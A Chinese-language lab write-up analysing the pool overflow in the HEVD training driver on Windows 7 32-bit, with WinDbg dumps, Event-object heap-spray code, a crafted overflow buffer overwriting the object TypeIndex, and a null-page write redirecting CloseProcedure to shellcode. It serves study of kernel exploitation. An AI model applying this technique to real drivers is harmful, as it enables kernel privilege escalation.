HEVD池溢出分析

 

环境准备

Win 10 64位 主机  + win 7  32位虚拟机

Windbg:调试器

VirtualKD-3.0:双击调试工具

InstDrv:驱动安装,运行工具

HEVD:一个Windows内核漏洞训练项目,里面几乎涵盖了内核可能存在的所有漏洞类型,非常适合我们熟悉理解Windows内核漏洞的原理,利用技巧等等

 

windows内核池简介

想要研究windows内核漏洞,需要对windows池有一定的认识,其管理结构、分配、释放都需要有很深的了解。这里我不会详细介绍池的一些知识,只推荐一些网站以供参考。

https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf

https://www.cnblogs.com/flycat-2016/p/5449738.html

下面给一个内核pool page的图,知道这个图,对于该池漏洞的分析,基本足够。

Windows内核中有很多以4k为单位的pool page,每个pool page会被划分为大小不一的pool chunk以供内核程序使用。每个pool chunk有一个pool header结构(8个字节大小),用来描述pool chunk的一些基本信息。

Pool header结构如下:

kd> dt nt!_POOL_HEADER

   +0x000 PreviousSize     : Pos 0, 9 Bits

   +0x000 PoolIndex        : Pos 9, 7 Bits

   +0x002 BlockSize        : Pos 0, 9 Bits

   +0x002 PoolType         : Pos 9, 7 Bits

   +0x000 Ulong1           : Uint4B

   +0x004 PoolTag          : Uint4B

   +0x004 AllocatorBackTraceIndex : Uint2B

   +0x006 PoolTagHash      : Uint2B

 

当我们运行代码:

KernelBuffer = ExAllocatePoolWithTag(NonPagedPool,

                                             (SIZE_T)POOL_BUFFER_SIZE,

                                             (ULONG)POOL_TAG);

该函数回返回一个pool chunk,返回的地址KernelBuffer = pool header + 8的空间。也就是说我们返回的空间前面有8个字节的头部,只是我们看不到。Pool header 后面紧跟的是我们的数据,当我们的数据过程长时,就会向下覆盖到其他chunk。

 

HEVD池漏洞代码分析

漏洞代码如下:

#define POOL_BUFFER_SIZE 504

    __try {

        DbgPrint("[+] Allocating Pool chunk\n");



        // Allocate Pool chunk

        KernelBuffer = ExAllocatePoolWithTag(NonPagedPool,

                                             (SIZE_T)POOL_BUFFER_SIZE,

                                             (ULONG)POOL_TAG);



        if (!KernelBuffer) {

            // Unable to allocate Pool chunk

            DbgPrint("[-] Unable to allocate Pool chunk\n");



            Status = STATUS_NO_MEMORY;

            return Status;

        }

        else {

            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));

            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));

            DbgPrint("[+] Pool Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);

            DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);

        }



        // Verify if the buffer resides in user mode

        ProbeForRead(UserBuffer, (SIZE_T)POOL_BUFFER_SIZE, (ULONG)__alignof(UCHAR));



        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);

        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);

        DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);

        DbgPrint("[+] KernelBuffer Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);



#ifdef SECURE

        // Secure Note: This is secure because the developer is passing a size

        // equal to size of the allocated Pool chunk to RtlCopyMemory()/memcpy().

        // Hence, there will be no overflow

        RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)POOL_BUFFER_SIZE);

#else

        DbgPrint("[+] Triggering Pool Overflow\n");



        // Vulnerability Note: This is a vanilla Pool Based Overflow vulnerability

        // because the developer is passing the user supplied value directly to

        // RtlCopyMemory()/memcpy() without validating if the size is greater or

        // equal to the size of the allocated Pool chunk

        RtlCopyMemory(KernelBuffer, UserBuffer, Size);

#endif



        if (KernelBuffer) {

            DbgPrint("[+] Freeing Pool chunk\n");

            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));

            DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);



            // Free the allocated Pool chunk

            ExFreePoolWithTag(KernelBuffer, (ULONG)POOL_TAG);

            KernelBuffer = NULL;

        }

    }

    __except (EXCEPTION_EXECUTE_HANDLER) {

        Status = GetExceptionCode();

        DbgPrint("[-] Exception Code: 0x%X\n", Status);

    }

 

其中UserBuffer,Size的获取方式如下:

UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;

Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength;

 

我们看上面的代码,首先调用

ExAllocatePoolWithTag(NonPagedPool, (SIZE_T) POOL_BUFFER_SIZE, (ULONG)POOL_TAG);

申请一个固定大小的非分页池,然后调用拷贝函数,将ring3级传入的数据拷贝到申请的pool chunk中。

RtlCopyMemory(KernelBuffer, UserBuffer, Size);

这里KernelBuffer是固定长度, UserBuffer和Size都是我们ring3级可控的,当我们的size大于POOL_BUFFER_SIZE时,就会造成溢出,覆盖到下面的pool chunk。

 

漏洞跟踪调试

Windbg下断点Bp HEVD!TriggerPoolOverflow, 因为驱动是我自己编译的,有符号文件,所以这里我直接对函数名下断点,如果你是直接从网上下载的驱动,那么你需要自己找该函数对应的偏移。

当函数执行完

        KernelBuffer = ExAllocatePoolWithTag(NonPagedPool,

                                             (SIZE_T)POOL_BUFFER_SIZE,

                                             (ULONG)POOL_TAG);

 

后,得KernelBuffer = 0x8745dd88,所以可知kernelbuffer所在的pool chunk的地址为0x8745dd88–8 = 0x8745dd80。

kd> !pool 0x8745dd88

Pool page 8745dd88 region is Nonpaged pool

 8745d000 size:  988 previous size:    0  (Allocated)  Devi (Protected)

 8745d988 size:    8 previous size:  988  (Free)       File

 8745d990 size:   c8 previous size:    8  (Allocated)  Ntfx

 8745da58 size:   90 previous size:   c8  (Allocated)  MmCa

 8745dae8 size:  168 previous size:   90  (Allocated)  CcSc

 8745dc50 size:   b8 previous size:  168  (Allocated)  File (Protected)

 8745dd08 size:    8 previous size:   b8  (Free)       usbp

 8745dd10 size:   68 previous size:    8  (Allocated)  EtwR (Protected)

 8745dd78 size:    8 previous size:   68  (Free)       XSav

*8745dd80 size:  200 previous size:    8  (Allocated) *Hack

     Owning component : Unknown (update pooltag.txt)

 8745df80 size:   80 previous size:  200  (Free )  MmRl

 

可以看出,pool page 是以1000h即4kb为单位的, 里面每个都是pool chunk。

下面观察一个标记为free的pool chunk。 地址为  8745d988

kd> dd 8745d988

8745d988  00010131 e56c6946 04190001 7866744e

8745d998  00bc0743 00000001 00000000 00000000

8745d9a8  00040001 00000000 8745d9b0 8745d9b0

8745d9b8  00000000 8745da1c 87336164 00000000

8745d9c8  00000000 00000000 00000000 00000000

8745d9d8  00000000 00000000 00000000 00000000

8745d9e8  00000000 00000000 00000000 00280707

8745d9f8  00000000 00000000 00000000 00000000



kd> dt nt!_POOL_HEADER 8745d988

   +0x000 PreviousSize     : 0y100110001 (0x131)

   +0x000 PoolIndex        : 0y0000000 (0)

   +0x002 BlockSize        : 0y000000001 (0x1)

   +0x002 PoolType         : 0y0000000 (0)

   +0x000 Ulong1           : 0x10131

   +0x004 PoolTag          : 0xe56c6946

   +0x004 AllocatorBackTraceIndex : 0x6946

   +0x006 PoolTagHash      : 0xe56c

 

PreviousSize 前一个chunk大小,对应的值为0x131,  根据ListHeads数组可知, 0x131对应chunk大小为 0x131 * 8 = 0x988

BlockSize 对应本chunk大小, 对应的值为0x1, 根据ListHeads数组可知, 0x1对应chunk大小为 0x1 * 8 = 0x8

PoolType = 0 表示free。

这里不懂也没关系。

再看看我们申请的pool块, 函数返回的地址为0x8745dd88,块头地址为0x8745dd80, 所以返回的真正存放数据的地址为PoolHeader + 8

即0x8745dd80 + 8 = 0x8745dd88

kd> dd 8745dd80

8745dd80  04400001 6b636148 00000000 0000001b

8745dd90  083e0003 c3504c41 88129210 00000148

8745dda0  183c0005 6770534e 85aad038 00000000

8745ddb0  8745dde4 0000000a 00000001 00000001

8745ddc0  8745ddfc 00000018 8745deec 00000018

8745ddd0  8745de8c 00000008 8745debc 00000008

8745dde0  00000004 00000018 00000001 eb004a01

8745ddf0  11d49b1a 50002391 bc597704 00000000

kd> dt nt!_POOL_HEADER 8745dd80

   +0x000 PreviousSize     : 0y000000001 (0x1)

   +0x000 PoolIndex        : 0y0000000 (0)

   +0x002 BlockSize        : 0y001000000 (0x40)

   +0x002 PoolType         : 0y0000010 (0x2)

   +0x000 Ulong1           : 0x4400001

   +0x004 PoolTag          : 0x6b636148

   +0x004 AllocatorBackTraceIndex : 0x6148

   +0x006 PoolTagHash      : 0x6b63

PoolType为0x2, 表示Allocated, 空间被使用, 由dd 8745dd80可知,

0x8745dd88 开始后的数据并不是全0, 也就是ExAllocatePoolWithTag申请空间时,并不会做初始化工作。

//memset(UserModeBuffer, 0x41, 504);

RtlCopyMemory(KernelBuffer, UserBuffer, Size);

 

当执行RtlCopyMemory后,0x8745dd88开始的数据将会被A覆盖

kd> dd 8745dd80 L100

8745dd80  04400001 6b636148 41414141 41414141

8745dd90  41414141 41414141 41414141 41414141

8745dda0  41414141 41414141 41414141 41414141

8745ddb0  41414141 41414141 41414141 41414141

8745ddc0  41414141 41414141 41414141 41414141

8745ddd0  41414141 41414141 41414141 41414141

8745dde0  41414141 41414141 41414141 41414141

8745ddf0  41414141 41414141 41414141 41414141

8745de00  41414141 41414141 41414141 41414141

8745de10  41414141 41414141 41414141 41414141

8745de20  41414141 41414141 41414141 41414141

8745de30  41414141 41414141 41414141 41414141

8745de40  41414141 41414141 41414141 41414141

8745de50  41414141 41414141 41414141 41414141

8745de60  41414141 41414141 41414141 41414141

8745de70  41414141 41414141 41414141 41414141

8745de80  41414141 41414141 41414141 41414141

8745de90  41414141 41414141 41414141 41414141

8745dea0  41414141 41414141 41414141 41414141

8745deb0  41414141 41414141 41414141 41414141

8745dec0  41414141 41414141 41414141 41414141

8745ded0  41414141 41414141 41414141 41414141

8745dee0  41414141 41414141 41414141 41414141

8745def0  41414141 41414141 41414141 41414141

8745df00  41414141 41414141 41414141 41414141

8745df10  41414141 41414141 41414141 41414141

8745df20  41414141 41414141 41414141 41414141

8745df30  41414141 41414141 41414141 41414141

8745df40  41414141 41414141 41414141 41414141

8745df50  41414141 41414141 41414141 41414141

8745df60  41414141 41414141 41414141 41414141

8745df70  41414141 41414141 41414141 41414141

8745df80  08100040 6c526d4d 00000000 87487398

8745df90  00000000 8745df94 8745df94 00000004

8745dfa0  00000005 ffffffff 00000000 00000000

8745dfb0  00000000 8745dfb4 8745dfb4 00000000

8745dfc0  00000000 00000000 00000000 8745dfcc

8745dfd0  8745dfcc 00000004 00000465 87ef35e8

8745dfe0  88097ae0 00000000 00000000 00000000

8745dff0  00000000 00000000 00000000 87f32380

8745e000  01010129 00000000 00055400 0003023f

8745e010  00000000 00055420 00030240 00000000

---------------------------------------------------------

char UserModeBuffer[512 + 8] = { 0x41 };

memset(UserModeBuffer, 0x41, 512);

memset(UserModeBuffer + 512, 0x42, 8);

UserModeBufferSize = 512 + 8;

 

如果UserModeBuffer空间大于ExAllocatePoolWithTag所申请的空间, 在执行RtlCopyMemory(KernelBuffer, UserBuffer, Size);

时就会覆盖下一个pool chunk的相关信息

下一个chunk被覆盖前后的数据(由于重新运行了程序,所有地址和上面不一样了)

kd> dd 8818d610

8818d610  085f0040 70627375 88335fb8 00000000

8818d620  00000000 00000000 00000000 00000000

8818d630  43787254 00000000 00000000 000000c8

8818d640  077415ad 00000000 00000000 0000020a

8818d650  0000000f 000002f0 000002cc 00000003

8818d660  00000001 00000000 6f6d7455 86378028

8818d670  00000000 00000000 00000000 00000000

8818d680  00000000 00000000 00000000 00000000

kd> dt nt!_POOL_HEADER  8818d610

   +0x000 PreviousSize     : 0y001000000 (0x40)

   +0x000 PoolIndex        : 0y0000000 (0)

   +0x002 BlockSize        : 0y001011111 (0x5f)

   +0x002 PoolType         : 0y0000100 (0x4)

   +0x000 Ulong1           : 0x85f0040

   +0x004 PoolTag          : 0x70627375

   +0x004 AllocatorBackTraceIndex : 0x7375

   +0x006 PoolTagHash      : 0x706

 

覆盖后

kd> dt nt!_POOL_HEADER  8818d610

   +0x000 PreviousSize     : 0y101000001 (0x141)

   +0x000 PoolIndex        : 0y0100000 (0x20)

   +0x002 BlockSize        : 0y101000001 (0x141)

   +0x002 PoolType         : 0y0100000 (0x20)

   +0x000 Ulong1           : 0x41414141

   +0x004 PoolTag          : 0x41414141

   +0x004 AllocatorBackTraceIndex : 0x4141

   +0x006 PoolTagHash      : 0x4141

kd> dd 8818d610

8818d610  41414141 41414141 42424242 42424242

8818d620  00000000 00000000 00000000 00000000

8818d630  43787254 00000000 00000000 000000c8

8818d640  077415ad 00000000 00000000 0000020a

8818d650  0000000f 000002f0 000002cc 00000003

8818d660  00000001 00000000 6f6d7455 86378028

8818d670  00000000 00000000 00000000 00000000

8818d680  00000000 00000000 00000000 00000000

 

再继续运行的话,系统蓝屏

 

漏洞利用

内核池类似于windows中的堆,用来动态分配内存,因为有漏洞的用户缓冲区分配在非分页池上,所以我们需要一些技术来控制修改非分页池。这种技术就是堆喷技术,如果之前你没接触内核堆喷,没关系,往下看就行了。

Windows 提供了一种Event对象, 该对象存储在非分页池中,可以使用CreateEvent API 来创建:

HANDLE WINAPI CreateEvent(

  _In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes,

  _In_     BOOL                  bManualReset,

  _In_     BOOL                  bInitialState,

  _In_opt_ LPCTSTR               lpName

);

 

在这里我们需要用这个API创建两个足够大的Event对象数组,然后通过使用CloseHandle API 释放某些Event 对象,从而在分配的池块中造成空隙,经合并形成更大的空闲块:

BOOL WINAPI CloseHandle(

  _In_ HANDLE hObject

);

 

下面我们具体跟踪观察下,就明白了。

    //heap spray

    HANDLE spray_event1[10000] = { NULL };

    HANDLE spray_event2[5000] = { NULL };



    for (int i = 0; i < 10000; i++)

    {

        spray_event1[i] = CreateEventA(NULL, FALSE, FALSE, NULL);

    }



    for (int j = 0; j < 5000; j++)

    {

        spray_event2[j] = CreateEventA(NULL, FALSE, FALSE, NULL);

    }

   

    for (int i = 5000-1; i >= 4989; i--)

    {

        printf("%x\n", spray_event2[i]);

}

 

如上构造堆喷代码,最后把后面的事件句柄打印出来,方便我们观察池结构。

kd> !handle eafc

PROCESS 85a54030  SessionId: 1  Cid: 0a0c    Peb: 7ffdf000  ParentCid: 05e8

    DirBase: bebcd580  ObjectTable: a6088008  HandleCount: 15010.

    Image: MyExploitForHevd.exe

Handle table at a6088008 with 15010 entries in use

eafc: Object: 85b33930  GrantedAccess: 001f0003 Entry: a5ada5f8

Object: 85b33930  Type: (85763418) Event

    ObjectHeader: 85b33918 (new version)

        HandleCount: 1  PointerCount: 1



kd> !pool 85b33930

Pool page 85b33930 region is Nonpaged pool

 85b33000 size:   40 previous size:    0  (Allocated)  Even (Protected)

 85b33040 size:  290 previous size:   40  (Free)       ...@

 85b332d0 size:   40 previous size:  290  (Allocated)  SeTl

 85b33310 size:  2f8 previous size:   40  (Allocated)  usbp

 85b33608 size:  2f8 previous size:  2f8  (Allocated)  usbp

*85b33900 size:   40 previous size:  2f8  (Allocated) *Even (Protected)

     Pooltag Even : Event objects

 85b33940 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33980 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b339c0 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33a00 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33a40 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33a80 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33ac0 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33b00 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33b40 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33b80 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33bc0 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33c00 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33c40 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33c80 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33cc0 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33d00 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33d40 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33d80 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33dc0 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33e00 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33e40 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33e80 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33ec0 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33f00 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33f40 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33f80 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33fc0 size:   40 previous size:   40  (Allocated)  Even (Protected)

 

如上观察,Even占据着大量的pool page,每个大小0x40。

我们申请的池大小为504,再加上8个字节的pool header, 504+8=512=0x200=0x40*8, 刚好8个event chunk的大小,这也是我们选择event内核对象的原因。

下面我们看看如何制造堆喷缝隙:

    //制造堆喷区空洞, 目的使我们的数据分配到空洞上;

    for (int i = 0; i < 5000; i = i + 16)

    {

        for (int j = 0; j < 8; j++)

        {

            //一个event对象大小0x40,  0x200的空间需要8个event对象;

            CloseHandle(spray_event2[i + j]);

        }

}

 

运行代码,我们再次看看pool page的结构:

kd> !pool 85b32d70

Pool page 85b32d70 region is Nonpaged pool

 85b32000 size:  2f8 previous size:    0  (Allocated)  usbp

 85b322f8 size:  510 previous size:  2f8  (Free)       ."..

 85b32808 size:  2f8 previous size:  510  (Allocated)  usbp

 85b32b00 size:   40 previous size:  2f8  (Free )  Even (Protected)

 85b32b40 size:   40 previous size:   40  (Free )  Even (Protected)

 85b32b80 size:   40 previous size:   40  (Free )  Even (Protected)

 85b32bc0 size:   40 previous size:   40  (Free )  Even (Protected)

 85b32c00 size:   40 previous size:   40  (Free )  Even (Protected)

 85b32c40 size:   40 previous size:   40  (Free )  Even (Protected)

 85b32c80 size:   40 previous size:   40  (Free )  Even (Protected)

 85b32cc0 size:   40 previous size:   40  (Free)       Even

 85b32d00 size:   40 previous size:   40  (Allocated)  Even (Protected)

*85b32d40 size:   40 previous size:   40  (Allocated) *Even (Protected)

     Pooltag Even : Event objects

 85b32d80 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b32dc0 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b32e00 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b32e40 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b32e80 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b32ec0 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b32f00 size:  100 previous size:   40  (Free)       Even

 

如上所示,在我们调用CloseHandle关闭大量事件句柄后,内核池页上出现了大量的空洞。大小为0x40*8=0x200,当我们再次申请0x200大小的空间时,就有很大的概率落在这些空洞上。

此次申请的KernelBuffer = 0x85b108c8,我们看下其位置

kd> !pool 0x85b108c8

Pool page 85b108c8 region is Nonpaged pool

 85b10000 size:   40 previous size:    0  (Allocated)  Even (Protected)

 85b10040 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10080 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b100c0 size:  200 previous size:   40  (Free)       Even(8个一组的缝隙)

 85b102c0 size:   40 previous size:  200  (Allocated)  Even (Protected)

 85b10300 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10340 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10380 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b103c0 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10400 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10440 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10480 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b104c0 size:  200 previous size:   40  (Free)       Even(8个一组的缝隙)

 85b106c0 size:   40 previous size:  200  (Allocated)  Even (Protected)

 85b10700 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10740 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10780 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b107c0 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10800 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10840 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10880 size:   40 previous size:   40  (Allocated)  Even (Protected)

*85b108c0 size:  200 previous size:   40  (Allocated) *Hack

        Owning component : Unknown (update pooltag.txt)

 85b10ac0 size:   40 previous size:  200  (Allocated)  Even (Protected)

 85b10b00 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10b40 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10b80 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10bc0 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10c00 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10c40 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10c80 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10cc0 size:   c0 previous size:   40  (Free)       Even

 85b10d80 size:  140 previous size:   c0  (Allocated)  Io   Process: 873d9478

 85b10ec0 size:   40 previous size:  140  (Allocated)  Even (Protected)

 85b10f00 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10f40 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10f80 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10fc0 size:   40 previous size:   40  (Allocated)  Even (Protected)

 

可知其刚好落在了构造的堆喷空隙中。

所以我们向下覆盖数据时,会覆盖event对象的一些结构,我们接下来看下如果通过event对象来达到控制程序流程,执行我们的shellcode。

Windows系统的各种资源以对象(Object)的形式来组织,例如File Object, Driver Object, Device Object等等,但实际上这些所谓的“对象”在系统的对象管理器(Object Manager)看来只是完整对象的一个部分——对象实体(Object Body)

一个内核对象有三部分组成,

首先是

kd> dt nt!_OBJECT_HEADER_QUOTA_INFO

   +0x000 PagedPoolCharge  : Uint4B

   +0x004 NonPagedPoolCharge : Uint4B

   +0x008 SecurityDescriptorCharge : Uint4B

   +0x00c SecurityDescriptorQuotaBlock : Ptr32 Void

 

一个对象可以包含全部四个结构,也可能只包含其中的某个。

之后是OBJECT_HEADER结构,

kd> dt nt!_OBJECT_HEADER

   +0x000 PointerCount     : Int4B

   +0x004 HandleCount      : Int4B

   +0x004 NextToFree       : Ptr32 Void

   +0x008 Lock             : _EX_PUSH_LOCK

   +0x00c TypeIndex        : UChar

   +0x00d TraceFlags       : UChar

   +0x00e InfoMask         : UChar

   +0x00f Flags            : UChar

   +0x010 ObjectCreateInfo : Ptr32 _OBJECT_CREATE_INFORMATION

   +0x010 QuotaBlockCharged : Ptr32 Void

   +0x014 SecurityDescriptor : Ptr32 Void

   +0x018 Body

 

最后是对象体, 不同内核对象,对象体不同。

例如: DRIVER_OBJECT, DEVICE_OBJECT, FILE_OBJECT等

CreateEvent创建事件对象时,事件对象在内核中是存放在pool chunk中的, 结构为:

—————————

|PoolHeader               |

————————–

|_OBJECT_HEADER_QUOTA_INFO|

—————————

|_OBJECT_HEADER           |

—————————

|Body(对象体)              |

—————————

这里我们关心的是_OBJECT_HEADER中的TypeIndex值,这个值是全局数组ObTypeIndexTable的索引。ObTypeIndexTable 存放有关各种“对象类型”的信息。

我们看下我们分配的chunk后面一个event结构信息,地址为85b10ac0,

其_OBJECT_HEADER数据为:

kd> dt nt!_OBJECT_HEADER 85b10ac0+8+10 .

   +0x000 PointerCount     : 0n1

   +0x004 HandleCount      : 0n1

   +0x004 NextToFree       :

   +0x008 Lock             :

      +0x000 Locked           : 0y0

      +0x000 Waiting          : 0y0

      +0x000 Waking           : 0y0

      +0x000 MultipleShared   : 0y0

      +0x000 Shared           : 0y0000000000000000000000000000 (0)

      +0x000 Value            : 0

      +0x000 Ptr              : (null)

   +0x00c TypeIndex        : 0xc ''

   +0x00d TraceFlags       : 0 ''

   +0x00e InfoMask         : 0x8 ''

   +0x00f Flags            : 0 ''

   +0x010 ObjectCreateInfo :

   +0x010 QuotaBlockCharged :

   +0x014 SecurityDescriptor :

   +0x018 Body             :

      +0x000 UseThisFieldToCopy : 0n262145

      +0x000 DoNotUseThisField : 1.2951683872905357532e-318

 

可以看到该event对象OBJECT_HEADER的TypeIndex为0xc,其类型信息放在ObTypeIndexTable[0xc]中

kd>  dd nt!ObTypeIndexTable

82b8a900  00000000 bad0b0b0 8564e900 8564e838

82b8a910  8564e770 8564e570 856ee040 856eef78

82b8a920  856eeeb0 856eede8 856eed20 856ee6a0

82b8a930  85763418 8571f878 856fb430 856fb368

82b8a940  8570f430 8570f368 8575b448 8575b380

82b8a950  8576b450 8576b388 857539c8 85753900

82b8a960  85753838 856ef7a8 856ef6e0 856ef618

82b8a970  856f39b8 856f34f0 856f3428 8573df78

 

可以看到,ObTypeIndexTable数组的第一项为0,没有使用,却为我们执行shellcode提供了机会。

第0xc项内容如下:

kd> dt nt!_OBJECT_TYPE 85763418 .

   +0x000 TypeList         :  [ 0x85763418 - 0x85763418 ]

      +0x000 Flink            : 0x85763418 _LIST_ENTRY [ 0x85763418 - 0x85763418 ]

      +0x004 Blink            : 0x85763418 _LIST_ENTRY [ 0x85763418 - 0x85763418 ]

   +0x008 Name             :  "Event"

      +0x000 Length           : 0xa

      +0x002 MaximumLength    : 0xc

      +0x004 Buffer           : 0x8c605570  "Event"

   +0x010 DefaultObject    :

   +0x014 Index            : 0xc ''

   +0x018 TotalNumberOfObjects : 0x3c66

   +0x01c TotalNumberOfHandles : 0x3ca0

   +0x020 HighWaterNumberOfObjects : 0x4827

   +0x024 HighWaterNumberOfHandles : 0x487c

   +0x028 TypeInfo         :

      +0x000 Length           : 0x50

      +0x002 ObjectTypeFlags  : 0 ''

      +0x002 CaseInsensitive  : 0y0

      +0x002 UnnamedObjectsOnly : 0y0

      +0x002 UseDefaultObject : 0y0

      +0x002 SecurityRequired : 0y0

      +0x002 MaintainHandleCount : 0y0

      +0x002 MaintainTypeList : 0y0

      +0x002 SupportsObjectCallbacks : 0y0

      +0x004 ObjectTypeCode   : 2

      +0x008 InvalidAttributes : 0x100

      +0x00c GenericMapping   : _GENERIC_MAPPING

      +0x01c ValidAccessMask  : 0x1f0003

      +0x020 RetainAccess     : 0

      +0x024 PoolType         : 0 ( NonPagedPool )

      +0x028 DefaultPagedPoolCharge : 0

      +0x02c DefaultNonPagedPoolCharge : 0x40

      +0x030 DumpProcedure    : (null)

      +0x034 OpenProcedure    : (null)

      +0x038 CloseProcedure   : (null)

      +0x03c DeleteProcedure  : (null)

      +0x040 ParseProcedure   : (null)

      +0x044 SecurityProcedure : 0x82cac5b6        long  nt!SeDefaultObjectMethod+0

      +0x048 QueryNameProcedure : (null)

      +0x04c OkayToCloseProcedure : (null)

   +0x078 TypeLock         :

      +0x000 Locked           : 0y0

      +0x000 Waiting          : 0y0

      +0x000 Waking           : 0y0

      +0x000 MultipleShared   : 0y0

      +0x000 Shared           : 0y0000000000000000000000000000 (0)

      +0x000 Value            : 0

      +0x000 Ptr              : (null)

   +0x07c Key              : 0x6e657645

   +0x080 CallbackList     :  [ 0x85763498 - 0x85763498 ]

      +0x000 Flink            : 0x85763498 _LIST_ENTRY [ 0x85763498 - 0x85763498 ]

      +0x004 Blink            : 0x85763498 _LIST_ENTRY [ 0x85763498 - 0x85763498 ]

 

可知对象类型为Event,这里这个结构我们关心偏移0x28 TypeInfo这字段,其下有几个回调函数,这里我们使用偏移0x038 CloseProcedure,如果这个字段有值的话,当程序调用CloseProcedure函数时(即调用CloseHandle),就会执行该字段指向的代码。

如果我们覆盖Event chunk的_OBJECT_HEADER的TypeIndex值为0, 再将0x00000000 + (0x28+0x28) = 0x60,处的值,修改为我们的shellcode地址,当我们调用CloseHandle函数时,就能控制程序流程,执行我们的shellcode。

因为我们只覆盖TypeIndex的值,要保证其他值不变,我们看下poolheader到TypeIndex的值

kd> dd 85b10ac0

85b10ac0  04080040 ee657645 00000000 00000040

85b10ad0  00000000 00000000 00000001 00000001

85b10ae0  00000000 0008000c 87cc1640 00000000

 

需要0008000c覆盖为00080000。

构造数据如下:

    //构造数据,覆盖_OBJECT_HEADER偏移+0x00c的值覆盖为0,

    char junk_buffer[504] = { 0x41 };

    memset(junk_buffer, 0x41, 504);

    char overwritedata[41] =

        "\x40\x00\x08\x04"

        "\x45\x76\x65\xee"

        "\x00\x00\x00\x00"

        "\x40\x00\x00\x00"

        "\x00\x00\x00\x00"

        "\x00\x00\x00\x00"

        "\x01\x00\x00\x00"

        "\x01\x00\x00\x00"

        "\x00\x00\x00\x00"

        "\x00\x00\x08\x00";



    char UserModeBuffer[504 + 40 + 1] = {0};

    int UserModeBufferSize = 504 + 40;

    memcpy(UserModeBuffer, junk_buffer, 504);

    memcpy(UserModeBuffer + 504, overwritedata, 40);

 

然后我们申请一个起始地址为0的空间,将shellcode的地址写到0x60的位置

*(PULONG)0x00000060 = (ULONG)pShellcodeBuf;

最后调用CloseHandle释放恶意构造的chunk。

    //这个spray_event1释放循环目前来看,好像不是必须的;

    for (int i = 0; i < 10000; i++)

    {

        CloseHandle(spray_event1[i]);

    }



    //这里i不能从0开始,因为i从0开始的chunk都是我们已经释放的;

    //我们的数据在其中的连续8个chunk上,而被覆盖chunk在释放的chunk后面;

    //所以这里i从8开始;

    for (int i = 8; i < 5000; i = i + 16)

    {

        for (int j = 0; j < 8; j++)

        {

            CloseHandle(spray_event2[i + j]);

        }

    }

 

下面我们简单看下溢出正常执行的情况。

kd> dd 0

00000000  00000000 00000000 00000000 00000000

00000010  00000000 00000000 00000000 00000000

00000020  00000000 00000000 00000000 00000000

